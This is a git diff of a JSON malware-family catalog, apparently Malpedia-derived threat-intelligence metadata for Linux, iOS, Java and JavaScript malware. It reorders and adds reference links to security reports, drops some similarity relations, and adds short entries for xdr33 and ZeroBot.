"https://malpedia.caad.fkie.fraunhofer.de/details/elf.quietexit", - "https://www.mandiant.com/resources/unc3524-eye-spy-email" + "https://www.mandiant.com/resources/unc3524-eye-spy-email", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023" ], "synonyms": [], "type": [] @@ -5582,6 +6078,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker", "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", "https://twitter.com/malwrhunterteam/status/1475568201673105409" ], "synonyms": [], @@ -5609,23 +6106,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx", - "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf", - "https://www.youtube.com/watch?v=qxPXxWMI2i4", - "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - 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"https://intezer.com/blog-linux-rekoobe-operating-with-new-undetected-malware-samples/" + "https://twitter.com/billyleonard/status/1458531997576572929", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt" ], "synonyms": [], "type": [] @@ -5743,8 +6244,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.reptile", "https://github.com/f0rb1dd3n/Reptile", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf" ], "synonyms": [], "type": [] @@ -5757,57 +6258,58 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.revil", - "https://github.com/f0wl/REconfig-linux", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - 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"https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html", - "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-054a", + "https://blog.talosintelligence.com/2018/05/VPNFilter.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://i.blackhat.com/USA-19/Thursday/us-19-Doerr-The-Enemy-Within-Modern-Supply-Chain-Attacks.pdf", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities", + "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", + "https://blog.talosintelligence.com/2019/05/one-year-later-vpnfilter-catastrophe.html", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter", "https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-054A%20New%20Sandworm%20Malware%20Cyclops%20Blink%20Replaces%20VPN%20Filter.pdf", "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html" + "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "895d769e-b288-4977-a4e1-7d64eb134bf9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "5ad30da2-2645-4893-acd9-3f8e0fbb5500", "value": "VPNFilter" }, @@ -6553,27 +7057,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmail", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmail.html", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://blog.talosintelligence.com/2020/08/attribution-puzzle.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf" + "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "59266c02-e3c8-47a6-b00c-bbb50c8975e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "93ffafbd-a8af-4164-b3ab-9b21e6d09232", "value": "WellMail" }, @@ -6582,24 +7077,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa21-116a", - "https://services.global.ntt/en-us/insights/blog/the-layered-infrastructure-operated-by-apt29", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html", - "https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html", - "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", - "https://www.botconf.eu/wp-content/uploads/2018/12/2018-Y-Ishikawa-S-Nagano-Lets-go-with-a-Go-RAT-_final.pdf", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - 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"https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", "https://attack.mitre.org/groups/G0096", - "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a" + "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", + "https://blog.exatrack.com/melofee/", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas" ], "synonyms": [], "type": [] @@ -6628,8 +7138,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet", - "http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html", - "https://news.drweb.com/show/?i=2679&lng=en&c=14" + "https://news.drweb.com/show/?i=2679&lng=en&c=14", + "http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html" ], "synonyms": [], "type": [] @@ -6642,14 +7152,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf", "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", "https://unit42.paloaltonetworks.com/a-look-into-fysbis-sofacys-linux-backdoor/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", + "https://www.secureworks.com/research/threat-profiles/iron-twilight" ], "synonyms": [ "chopstick", @@ -6666,8 +7176,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xanthe", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://blog.talosintelligence.com/2020/12/xanthe-docker-aware-miner.html" ], "synonyms": [], @@ -6694,46 +7204,50 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash", - "https://unit42.paloaltonetworks.com/atoms/agedlibra/", - "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/", + "https://unit42.paloaltonetworks.com/atoms/agedlibra/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "10c981cc-4ef1-4719-8ed7-c5e4c2f6c7a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ee54fc1e-c574-4836-8cdb-992ac38cef32", "value": "Xbash" }, + { + "description": "According to 360 netlab, this backdoor was derived from the leaked CIA Hive project. It propagates via a vulnerability in F5 and communicates using SSL with a forged Kaspersky certificate.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xdr33", + "https://blog.netlab.360.com/headsup_xdr33_variant_of_ciahive_emeerges/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c7b1cc91-7464-436e-ac40-3b06c98400a5", + "value": "xdr33" + }, { "description": "Linux DDoS C&C Malware", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos", - "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", - "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", "https://en.wikipedia.org/wiki/Xor_DDoS", - "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", - "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html", - "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", - "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", "https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf", - "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/" + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", + "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/", + "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", + "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", + "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", + "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", + "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" ], "synonyms": [ "XORDDOS" @@ -6743,6 +7257,21 @@ "uuid": "7f9df618-4bd1-44a1-ad88-e5930373aac4", "value": "XOR DDoS" }, + { + "description": "ZeroBot is a Go-based botnet that spreads primarily through IoT and web application vulnerabilities. It is offered as malware as a service (MaaS) and infrastructure overlaps with DDoS-for-hire services seized by the FBI in December 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.zerobot", + "https://www.microsoft.com/en-us/security/blog/2022/12/21/microsoft-research-uncovers-new-zerobot-capabilities/" + ], + "synonyms": [ + "ZeroStresser" + ], + "type": [] + }, + "uuid": "458c583b-4353-4104-bee8-9e68cb77f151", + "value": "ZeroBot" + }, { "description": "", "meta": { @@ -6832,9 +7361,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy", + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" ], "synonyms": [], "type": [] @@ -6862,9 +7391,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.poisoncarp", - "https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/" + "https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/" ], "synonyms": [ "INSOMNIA" @@ -6919,21 +7448,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind", - 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"https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://citizenlab.ca/2015/12/packrat-report/", + "https://blogs.seqrite.com/evolution-of-jrat-java-malware/", "http://malware-traffic-analysis.net/2017/07/04/index.html", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html", "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", - "https://blogs.seqrite.com/evolution-of-jrat-java-malware/" + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885" ], "synonyms": [ "AlienSpy", @@ -6945,15 +7474,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "ab4694d6-7043-41f2-b328-d93bec9c1b22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8eb9d4aa-257a-45eb-8c65-95c18500171c", "value": "AdWind" }, @@ -6967,15 +7487,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d08201b8-9774-41a1-abdb-c7f3828139b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "90cb8ee6-52e6-4d8d-8f45-f04b9aec1f6c", "value": "Adzok" }, @@ -6986,21 +7497,12 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", "https://colin.guru/index.php?title=Advanced_Banload_Analysis", - "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload", + "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d279bc1c-baa6-49aa-ab1b-7d012ae8db4e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "30a61fa9-4bd1-427d-9382-ff7c33bd7043", "value": "Banload" }, @@ -7091,8 +7593,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.javalocker", - "https://dissectingmalwa.re/why-would-you-even-bother-javalocker.html", - "https://id-ransomware.blogspot.com/2020/03/javalocker-ransomware.html" + "https://id-ransomware.blogspot.com/2020/03/javalocker-ransomware.html", + "https://dissectingmalwa.re/why-would-you-even-bother-javalocker.html" ], "synonyms": [ "JavaEncrypt Ransomware" @@ -7107,11 +7609,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat", - "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/", - "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/", - "https://www.eff.org/files/2018/01/29/operation-manul.pdf", "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered" + "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered", + "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/", + "https://www.eff.org/files/2018/01/29/operation-manul.pdf" ], "synonyms": [ "Jacksbot" @@ -7131,15 +7633,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "8abd10df-2c31-4895-8ec1-270603078f47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ff24997d-1f17-4f00-b9b8-b3392146540f", "value": "jSpy" }, @@ -7148,8 +7641,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.octopus_scanner", - "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain", - "http://blog.nsfocus.net/github-ocs-0605/" + "http://blog.nsfocus.net/github-ocs-0605/", + "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain" ], "synonyms": [], "type": [] @@ -7175,13 +7668,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler", + "https://www.herbiez.com/?p=1352", "https://github.com/jeFF0Falltrades/Malware-Writeups/blob/master/Qealler/Qealler-Unloaded.pdf", + "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", + "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer", "https://www.securityinbits.com/malware-analysis/unpacking/unpacking-pyrogenic-qealler-using-java-agent-part-0x2/", "https://www.cyberark.com/threat-research-blog/qealler-the-silent-java-credential-thief/", - "https://www.securityinbits.com/malware-analysis/similarity-between-qealler-pyrogenic-variants-part-0x3/", - "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/", - "https://www.herbiez.com/?p=1352", - "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer" + "https://www.securityinbits.com/malware-analysis/pyrogenic-infostealer-static-analysis-part-0x1/" ], "synonyms": [ "Pyrogenic Infostealer" @@ -7198,23 +7691,14 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat", "https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/", "https://www.digitrustgroup.com/java-rat-qrat/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rats-and-spam-the-nodejs-qrat/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-qnode-rat-downloader-distributed-as-trump-video-scandal/" ], "synonyms": [ "Quaverse RAT" ], "type": [] }, - "related": [ - { - "dest-uuid": "c3a784ee-cef7-4604-a5ba-ec7b193a5152", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "ef385825-bfa1-4e8c-b368-522db78cf1bd", "value": "QRat" }, @@ -7223,8 +7707,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/" + "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/" ], "synonyms": [], "type": [] @@ -7250,18 +7734,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.strrat", - "https://twitter.com/MsftSecIntel/status/1395138347601854465", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", - "https://www.gdatasoftware.com/blog/strrat-crimson", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.jaiminton.com/reverse-engineering/strrat", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", - "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", "https://forensicitguy.github.io/strrat-attached-to-msi/", - "https://www.jaiminton.com/reverse-engineering/strrat#", - "https://isc.sans.edu/diary/rss/27798", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://any.run/cybersecurity-blog/strrat-malware-analysis-of-a-jar-archive/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", "https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf" + "https://www.jaiminton.com/reverse-engineering/strrat", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://resources.securityscorecard.com/cybersecurity/analyze-java-malware-strrat#page=1", + "https://www.gdatasoftware.com/blog/strrat-crimson", + "https://isc.sans.edu/diary/rss/27798", + "https://www.jaiminton.com/reverse-engineering/strrat#", + "https://twitter.com/MsftSecIntel/status/1395138347601854465" ], "synonyms": [], "type": [] @@ -7302,8 +7788,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html" ], "synonyms": [ @@ -7319,24 +7805,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor", + "https://www.secureworks.com/research/threat-profiles/gold-niagara" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "81faf0c1-0595-436b-a66a-05d8b435bccd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "fb75a753-24ba-4b58-b7ed-2e39b0c68c65", "value": "Bateleur" }, @@ -7360,12 +7837,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch", - "https://github.com/mdsecactivebreach/CACTUSTORCH", - "https://www.macnica.net/file/mpression_automobile.pdf", - "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", - "https://www.codercto.com/a/46729.html", "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/" + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", + "https://www.codercto.com/a/46729.html", + "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", + "https://github.com/mdsecactivebreach/CACTUSTORCH" ], "synonyms": [], "type": [] @@ -7378,8 +7855,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.chromeback", - 